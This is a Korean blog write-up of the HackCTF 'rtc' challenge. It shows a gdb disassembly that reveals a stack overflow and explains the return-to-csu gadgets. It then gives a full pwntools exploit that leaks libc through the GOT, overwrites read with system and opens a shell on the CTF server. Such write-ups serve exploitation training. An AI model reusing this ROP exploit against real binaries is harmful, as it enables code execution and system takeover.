-
[hackctf] rtchackctf 2021. 7. 26. 01:52
이번에는 이전에 dreamhack에서 basic_x64_rop 문제를 풀면서 익혔던 rtc 기법을 복습할겸 hackctf의 rtc 문제를 풀게 되었습니다.
gdb-peda$ disas Dump of assembler code for function main: 0x00000000004005f6 <+0>: push rbp 0x00000000004005f7 <+1>: mov rbp,rsp => 0x00000000004005fa <+4>: sub rsp,0x40 0x00000000004005fe <+8>: mov rax,QWORD PTR [rip+0x200a4b] # 0x601050 <stdin@@GLIBC_2.2.5> 0x0000000000400605 <+15>: mov ecx,0x0 0x000000000040060a <+20>: mov edx,0x2 0x000000000040060f <+25>: mov esi,0x0 0x0000000000400614 <+30>: mov rdi,rax 0x0000000000400617 <+33>: call 0x4004e0 <setvbuf@plt> 0x000000000040061c <+38>: mov edx,0x15 0x0000000000400621 <+43>: mov esi,0x4006e4 0x0000000000400626 <+48>: mov edi,0x1 0x000000000040062b <+53>: mov eax,0x0 0x0000000000400630 <+58>: call 0x4004b0 <write@plt> 0x0000000000400635 <+63>: lea rax,[rbp-0x40] 0x0000000000400639 <+67>: mov edx,0x200 0x000000000040063e <+72>: mov rsi,rax 0x0000000000400641 <+75>: mov edi,0x0 0x0000000000400646 <+80>: mov eax,0x0 0x000000000040064b <+85>: call 0x4004c0 <read@plt> 0x0000000000400650 <+90>: nop 0x0000000000400651 <+91>: leave 0x0000000000400652 <+92>: ret End of assembler dump.어셈블리를 확인해보면 write 함수를 사용하여 0x4006e4 주소에 있는 값을 출력하고, read 함수를 사용하여 [rbp-0x40]주소에 사용자로부터 입력을 받는 것으로 확인됩니다. rbp - 0x40에 입력을 받는데 0x200 만큼 입력이 가능한 것을 보면 bof 취약점이 존재하는 것을 확인할 수 있습니다.
이제 ida를 통해서 __libc_csu_init 함수를 확인해보도록 하겠습니다.

0x4006ba 주소에서 pop하는 레지스터들이 0x4006a0 주소에서 각각 rdi, rsi, rdx에 들어가고 [r12+rbx*8] 값을 호출하는 것을 확인할 수 있습니다. 이를 활용하여 우리가 원하는대로 함수의 흐름을 가져갈 수 있을 것으로 보입니다.
이를 활용하여 작성한 exploit 코드 입니다.
from pwn import * context.log_level='DEBUG' p = remote("ctf.j0n9hyun.xyz", 3025) set_csu = p64(0x4006BA) call_csu = p64(0x4006A0) stdin = p64(0) stdout = p64(1) write_plt = p64(0x4004b0) write_got = p64(0x601018) read_plt = p64(0x4004c0) read_got = p64(0x601020) binsh = "/bin/sh\x00" bss = p64(0x601050) read_offset = 0xf7250 system_offset = 0x45390 payload = "" payload += "A" * 0x48 payload += set_csu payload += p64(0) payload += p64(1) payload += read_got payload += p64(8) payload += bss payload += stdin payload += call_csu payload += "A" * 8 payload += p64(0) payload += p64(1) payload += write_got payload += p64(8) payload += read_got payload += stdout payload += call_csu payload += "A" * 8 payload += p64(0) payload += p64(1) payload += read_got payload += p64(8) payload += read_got payload += stdin payload += call_csu payload += "A" * 8 payload += p64(0) payload += p64(0) payload += read_got payload += p64(0) payload += p64(0) payload += bss payload += call_csu p.sendline(payload) p.recvuntil("Hey, ROP! What's Up?\n") p.send(binsh) read = u64(p.recv(8)) libcbase = read - read_offset system_addr = libcbase + system_offset print system_addr p.sendline(p64(system_addr)) p.interactive()위와 같이 pwntools를 사용하여 Exploit 코드를 작성하였고 성공적으로 flag 값을 획득할 수 있었습니다.
'hackctf' 카테고리의 다른 글
[hackctf] rtlcore 풀이 (0) 2021.09.08 [hackctf] g++pwn 풀이 (0) 2021.08.12 [hackctf] rtl_world (0) 2021.08.09 [hackctf] yes_or_no (0) 2021.07.29